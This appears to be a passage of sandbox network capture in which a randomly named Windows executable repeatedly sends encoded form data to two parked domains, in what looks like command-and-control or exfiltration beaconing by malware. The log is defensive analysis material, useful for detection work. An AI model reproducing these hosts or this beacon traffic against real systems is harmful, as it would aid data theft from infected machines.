Sep 5, 2024 14:27:11.136218071 CEST	741	OUT	POST /2hp8/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.thecivilwearsprada06.site Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.thecivilwearsprada06.site Referer: http://www.thecivilwearsprada06.site/2hp8/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 50 70 31 67 65 45 2b 4e 33 71 6f 32 6a 43 51 30 61 74 41 53 45 36 73 6f 43 52 41 73 54 35 78 6e 53 41 78 4b 78 65 68 6f 4a 49 35 4e 69 64 63 4a 6b 32 51 59 37 39 49 5a 56 54 68 37 78 2f 62 50 6a 78 32 65 73 67 56 75 4f 33 6f 46 5a 41 4c 6d 2b 75 7a 6d 2f 4d 37 54 70 42 66 79 56 71 34 72 72 43 69 37 51 78 49 65 57 58 6c 62 69 66 62 6e 51 4f 75 6e 48 39 38 77 6f 36 45 59 79 63 54 38 73 66 72 4e 7a 78 50 70 69 34 4f 4f 74 54 46 77 2f 69 68 42 34 74 2b 72 4d 33 39 6f 71 2f 7a 74 53 41 46 50 66 69 46 73 2f 48 4c 56 76 71 74 76 4f 69 30 37 46 38 4a 2f 68 62 7a 57 6f 76 78 54 62 53 68 6f 65 6c 63 3d Data Ascii: V6h=Pp1geE+N3qo2jCQ0atASE6soCRAsT5xnSAxKxehoJI5NidcJk2QY79IZVTh7x/bPjx2esgVuO3oFZALm+uzm/M7TpBfyVq4rrCi7QxIeWXlbifbnQOunH98wo6EYycT8sfrNzxPpi4OOtTFw/ihB4t+rM39oq/ztSAFPfiFs/HLVvqtvOi07F8J/hbzWovxTbShoelc=
Sep 5, 2024 14:27:11.584598064 CEST	1236	IN	HTTP/1.1 200 OK date: Thu, 05 Sep 2024 12:27:10 GMT content-type: text/html; charset=utf-8 content-length: 1166 x-request-id: 2dc3d603-9ab0-4cb8-adfe-2009664d7b1c cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_O0hAOCQUOlv6hWYq6shzqc4ClPWuQw7OFCwO6V1OrDNCX0Pj3GgokDYVoNrX/iBOAeUQIuuMU9Y1b5wdxYMLtw== set-cookie: parking_session=2dc3d603-9ab0-4cb8-adfe-2009664d7b1c; expires=Thu, 05 Sep 2024 12:42:11 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4f 30 68 41 4f 43 51 55 4f 6c 76 36 68 57 59 71 36 73 68 7a 71 63 34 43 6c 50 57 75 51 77 37 4f 46 43 77 4f 36 56 31 4f 72 44 4e 43 58 30 50 6a 33 47 67 6f 6b 44 59 56 6f 4e 72 58 2f 69 42 4f 41 65 55 51 49 75 75 4d 55 39 59 31 62 35 77 64 78 59 4d 4c 74 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_O0hAOCQUOlv6hWYq6shzqc4ClPWuQw7OFCwO6V1OrDNCX0Pj3GgokDYVoNrX/iBOAeUQIuuMU9Y1b5wdxYMLtw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 5, 2024 14:27:11.584621906 CEST	619	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMmRjM2Q2MDMtOWFiMC00Y2I4LWFkZmUtMjAwOTY2NGQ3YjFjIiwicGFnZV90aW1lIjoxNzI1NTM5Mj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	57229	199.59.243.226	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:27:13.714132071 CEST	761	OUT	POST /2hp8/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.thecivilwearsprada06.site Connection: close Content-Length: 224 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.thecivilwearsprada06.site Referer: http://www.thecivilwearsprada06.site/2hp8/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 50 70 31 67 65 45 2b 4e 33 71 6f 32 6a 6a 67 30 4b 38 41 53 43 61 73 72 4e 78 41 73 63 5a 78 72 53 42 4e 4b 78 66 6c 34 4a 62 64 4e 69 2f 55 4a 6c 7a 38 59 32 64 49 5a 4e 44 68 45 79 50 62 59 6a 78 36 38 73 68 46 75 4f 33 73 46 5a 43 54 6d 2f 64 62 6e 2f 63 37 4e 38 78 66 30 59 4b 34 72 72 43 69 37 51 78 63 30 57 58 74 62 69 73 44 6e 43 38 57 6b 63 64 38 7a 68 61 45 59 6b 73 54 6e 73 66 72 6a 7a 31 50 44 69 39 4b 4f 74 53 31 77 2f 7a 68 4f 68 64 2b 6c 49 33 38 4a 6c 66 66 6c 56 43 42 62 66 6b 4d 2f 6e 46 66 6e 75 63 41 46 55 41 38 54 57 63 6c 48 78 49 37 68 35 66 51 36 42 78 78 59 41 79 4b 6d 70 55 4a 66 71 62 69 42 4c 75 44 42 33 45 42 46 2b 35 41 51 Data Ascii: V6h=Pp1geE+N3qo2jjg0K8ASCasrNxAscZxrSBNKxfl4JbdNi/UJlz8Y2dIZNDhEyPbYjx68shFuO3sFZCTm/dbn/c7N8xf0YK4rrCi7Qxc0WXtbisDnC8Wkcd8zhaEYksTnsfrjz1PDi9KOtS1w/zhOhd+lI38JlfflVCBbfkM/nFfnucAFUA8TWclHxI7h5fQ6BxxYAyKmpUJfqbiBLuDB3EBF+5AQ
Sep 5, 2024 14:27:14.188874960 CEST	1236	IN	HTTP/1.1 200 OK date: Thu, 05 Sep 2024 12:27:13 GMT content-type: text/html; charset=utf-8 content-length: 1166 x-request-id: 984b36d8-9910-49d2-9ffc-9c4d3131bb0f cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_O0hAOCQUOlv6hWYq6shzqc4ClPWuQw7OFCwO6V1OrDNCX0Pj3GgokDYVoNrX/iBOAeUQIuuMU9Y1b5wdxYMLtw== set-cookie: parking_session=984b36d8-9910-49d2-9ffc-9c4d3131bb0f; expires=Thu, 05 Sep 2024 12:42:14 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4f 30 68 41 4f 43 51 55 4f 6c 76 36 68 57 59 71 36 73 68 7a 71 63 34 43 6c 50 57 75 51 77 37 4f 46 43 77 4f 36 56 31 4f 72 44 4e 43 58 30 50 6a 33 47 67 6f 6b 44 59 56 6f 4e 72 58 2f 69 42 4f 41 65 55 51 49 75 75 4d 55 39 59 31 62 35 77 64 78 59 4d 4c 74 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_O0hAOCQUOlv6hWYq6shzqc4ClPWuQw7OFCwO6V1OrDNCX0Pj3GgokDYVoNrX/iBOAeUQIuuMU9Y1b5wdxYMLtw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 5, 2024 14:27:14.189316034 CEST	619	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOTg0YjM2ZDgtOTkxMC00OWQyLTlmZmMtOWM0ZDMxMzFiYjBmIiwicGFnZV90aW1lIjoxNzI1NTM5Mj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	57230	199.59.243.226	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:27:16.684978962 CEST	1778	OUT	POST /2hp8/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.thecivilwearsprada06.site Connection: close Content-Length: 1240 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.thecivilwearsprada06.site Referer: http://www.thecivilwearsprada06.site/2hp8/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 50 70 31 67 65 45 2b 4e 33 71 6f 32 6a 6a 67 30 4b 38 41 53 43 61 73 72 4e 78 41 73 63 5a 78 72 53 42 4e 4b 78 66 6c 34 4a 62 56 4e 69 71 59 4a 6b 51 45 59 35 39 49 5a 54 54 68 46 79 50 62 67 6a 79 4b 34 73 6b 63 5a 4f 79 77 46 59 6e 48 6d 32 49 76 6e 77 63 37 4e 2b 78 66 31 56 71 35 32 72 43 79 2f 51 78 4d 30 57 58 74 62 69 70 50 6e 41 75 75 6b 65 64 38 77 6f 36 46 58 79 63 53 70 73 66 69 65 7a 31 62 35 69 4a 2b 4f 74 79 6c 77 7a 68 4a 4f 2b 74 2b 77 46 58 38 72 6c 66 53 37 56 44 74 74 66 6b 52 6b 6e 48 50 6e 73 74 70 67 41 53 4d 49 4d 50 46 51 32 62 79 46 6f 4a 6b 55 63 69 45 75 45 77 50 41 6f 6d 42 78 2f 66 53 51 4c 74 53 2b 31 56 56 57 77 66 78 73 55 43 79 43 75 71 42 77 47 49 4c 79 4b 59 43 69 44 61 39 55 69 66 35 72 61 64 49 2b 31 67 56 33 53 6c 58 72 4e 30 75 70 78 78 4c 54 67 32 41 37 64 47 52 52 32 4d 72 61 38 64 53 33 30 2b 33 48 4e 34 30 66 32 36 51 50 50 49 45 70 75 4a 6c 78 77 53 78 30 2b 4a 78 50 58 4b 6e 78 50 39 7a 45 4a 64 2b 74 6e 35 47 35 69 65 63 35 71 32 57 2b 6e 75 [TRUNCATED] Data Ascii: V6h=Pp1geE+N3qo2jjg0K8ASCasrNxAscZxrSBNKxfl4JbVNiqYJkQEY59IZTThFyPbgjyK4skcZOywFYnHm2Ivnwc7N+xf1Vq52rCy/QxM0WXtbipPnAuuked8wo6FXycSpsfiez1b5iJ+OtylwzhJO+t+wFX8rlfS7VDttfkRknHPnstpgASMIMPFQ2byFoJkUciEuEwPAomBx/fSQLtS+1VVWwfxsUCyCuqBwGILyKYCiDa9Uif5radI+1gV3SlXrN0upxxLTg2A7dGRR2Mra8dS30+3HN40f26QPPIEpuJlxwSx0+JxPXKnxP9zEJd+tn5G5iec5q2W+nu5qhNngTBaVv9yj1wv2Vgv7l4QZvkY9d/J2YN9TtaJMOz5ANyew+FY97MvDNfroz8NLQW2YGPTzYZai8Mb8ynDdJFMGkgHug9jem0bMp4xeY7yFQoLDe6LajDmNkE03k4Co+6i4divdG5HOSKK33kHSa4f+UlpzgeGFClVCuZqJ+rjACz5YEN9rMu0ERMllTsn7rfo6O4ihWGWHBclUdqOFKKDylWtLAeA2EVjgbLIU0qQ0GJ3fQuYxt0alHBFeGF2GQNVBc1KCSi7iMtPWDOjHtcvOljq+xP4e6bTzdZxL5kbdVYv70SFTpPZSTdSG8f8kFCWBRQfZPnnr0LQgqhWbiOGgxHvL4O1bqHbWOOZo23h4BSLlqSqYjmLgLbQa4Nhe3y+dmbooA1fghUtY49Pg38VoZjjSve91b+w8HTyWvbV79prmSpTNjK0VBQTU7iFX4L1hj5TAm5MTMtzymwYRVUCGEs2nL+Oa9k76M5dwKeMb3tq/77+a55e6hAMuqYm0cPLkeQ3V8+vcJAST+HkiptV2Mc9J3EDrVykdru6cN+gGID9th34+9JEyZRzEktM1ac0qUCVbXvaPJEaggQ3YFbWigeOM1i5HHI0809EFbdDjYfsQkgH2GsQ9LzlhEm+Qe1y/3tmyMPVUTwI7OtynbzwpEgnTim7E [TRUNCATED]
Sep 5, 2024 14:27:17.145067930 CEST	1236	IN	HTTP/1.1 200 OK date: Thu, 05 Sep 2024 12:27:16 GMT content-type: text/html; charset=utf-8 content-length: 1166 x-request-id: a0b6458c-7ade-480c-8bb4-4b94ae081672 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_O0hAOCQUOlv6hWYq6shzqc4ClPWuQw7OFCwO6V1OrDNCX0Pj3GgokDYVoNrX/iBOAeUQIuuMU9Y1b5wdxYMLtw== set-cookie: parking_session=a0b6458c-7ade-480c-8bb4-4b94ae081672; expires=Thu, 05 Sep 2024 12:42:17 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4f 30 68 41 4f 43 51 55 4f 6c 76 36 68 57 59 71 36 73 68 7a 71 63 34 43 6c 50 57 75 51 77 37 4f 46 43 77 4f 36 56 31 4f 72 44 4e 43 58 30 50 6a 33 47 67 6f 6b 44 59 56 6f 4e 72 58 2f 69 42 4f 41 65 55 51 49 75 75 4d 55 39 59 31 62 35 77 64 78 59 4d 4c 74 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_O0hAOCQUOlv6hWYq6shzqc4ClPWuQw7OFCwO6V1OrDNCX0Pj3GgokDYVoNrX/iBOAeUQIuuMU9Y1b5wdxYMLtw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 5, 2024 14:27:17.145093918 CEST	619	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYTBiNjQ1OGMtN2FkZS00ODBjLThiYjQtNGI5NGFlMDgxNjcyIiwicGFnZV90aW1lIjoxNzI1NTM5Mj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	57231	199.59.243.226	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:27:19.228796959 CEST	460	OUT	GET /2hp8/?V6h=CrdAdyOI+okqqhNVS+pkNdIVKBAkN6pudTJL4uhGXJF2xfVUvgIf08oiVWpA0tvbrxzjqgxPP30FNCXR+uyv/IzX8n7qYYw/tQbLXhwufDNvpebHNpaSdeQxoKtamMn3yA==&sH=nVVHdDTx2PSTVJ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US Host: www.thecivilwearsprada06.site Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
Sep 5, 2024 14:27:19.681514978 CEST	1236	IN	HTTP/1.1 200 OK date: Thu, 05 Sep 2024 12:27:18 GMT content-type: text/html; charset=utf-8 content-length: 1530 x-request-id: 29f4215d-eb7c-49ea-b68c-c4bbe149eb2d cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_OM9/aPIfoKgkWuE+SC1ftqvGP91tnxFn8Y41xfiYLCK0C4fjk/cOhmpSxFXI4G01MyTlPE/8f1NZsDmZd3WKTw== set-cookie: parking_session=29f4215d-eb7c-49ea-b68c-c4bbe149eb2d; expires=Thu, 05 Sep 2024 12:42:19 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4f 4d 39 2f 61 50 49 66 6f 4b 67 6b 57 75 45 2b 53 43 31 66 74 71 76 47 50 39 31 74 6e 78 46 6e 38 59 34 31 78 66 69 59 4c 43 4b 30 43 34 66 6a 6b 2f 63 4f 68 6d 70 53 78 46 58 49 34 47 30 31 4d 79 54 6c 50 45 2f 38 66 31 4e 5a 73 44 6d 5a 64 33 57 4b 54 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_OM9/aPIfoKgkWuE+SC1ftqvGP91tnxFn8Y41xfiYLCK0C4fjk/cOhmpSxFXI4G01MyTlPE/8f1NZsDmZd3WKTw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 5, 2024 14:27:19.681539059 CEST	983	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMjlmNDIxNWQtZWI3Yy00OWVhLWI2OGMtYzRiYmUxNDllYjJkIiwicGFnZV90aW1lIjoxNzI1NTM5Mj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	57232	199.59.243.226	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:27:33.075530052 CEST	720	OUT	POST /ssw0/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.cacingnaga36.click Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.cacingnaga36.click Referer: http://www.cacingnaga36.click/ssw0/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 4a 55 36 57 62 47 78 2b 58 51 4b 38 69 58 32 4f 62 66 43 2f 35 6d 33 61 4c 53 62 41 76 39 48 64 32 71 71 43 49 54 30 45 78 72 70 5a 4e 33 49 75 65 57 48 53 46 32 53 30 54 71 31 72 64 31 70 64 6a 36 53 53 39 46 2b 75 34 38 32 50 72 64 4b 70 4e 4d 62 4b 63 72 68 71 70 66 52 51 37 31 63 35 54 2b 66 2b 79 79 64 34 4c 56 48 48 6b 4e 34 33 72 48 67 34 56 63 67 4f 38 33 72 43 55 6f 74 2b 53 53 50 54 42 4f 2f 79 5a 44 5a 41 79 38 30 63 73 30 4c 64 55 65 79 6f 54 44 36 54 51 5a 6d 36 52 68 75 79 49 47 6d 77 30 53 53 77 75 58 4b 6b 78 6f 62 78 57 48 65 57 4e 52 62 33 4b 51 36 50 4a 57 53 43 65 55 49 3d Data Ascii: V6h=JU6WbGx+XQK8iX2ObfC/5m3aLSbAv9Hd2qqCIT0ExrpZN3IueWHSF2S0Tq1rd1pdj6SS9F+u482PrdKpNMbKcrhqpfRQ71c5T+f+yyd4LVHHkN43rHg4VcgO83rCUot+SSPTBO/yZDZAy80cs0LdUeyoTD6TQZm6RhuyIGmw0SSwuXKkxobxWHeWNRb3KQ6PJWSCeUI=
Sep 5, 2024 14:27:33.552771091 CEST	1236	IN	HTTP/1.1 200 OK date: Thu, 05 Sep 2024 12:27:32 GMT content-type: text/html; charset=utf-8 content-length: 1138 x-request-id: 57d986a7-7db3-4fbc-9ff8-55f64b9dc90e cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_u/9I+DT0iYWcP+AQovl7Oy+VE4cOwOA7IVVo63RYsT211lfM9hIKCOQnspWMpm2yg6zG0u3MRQCkcGAzzZvsbA== set-cookie: parking_session=57d986a7-7db3-4fbc-9ff8-55f64b9dc90e; expires=Thu, 05 Sep 2024 12:42:33 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 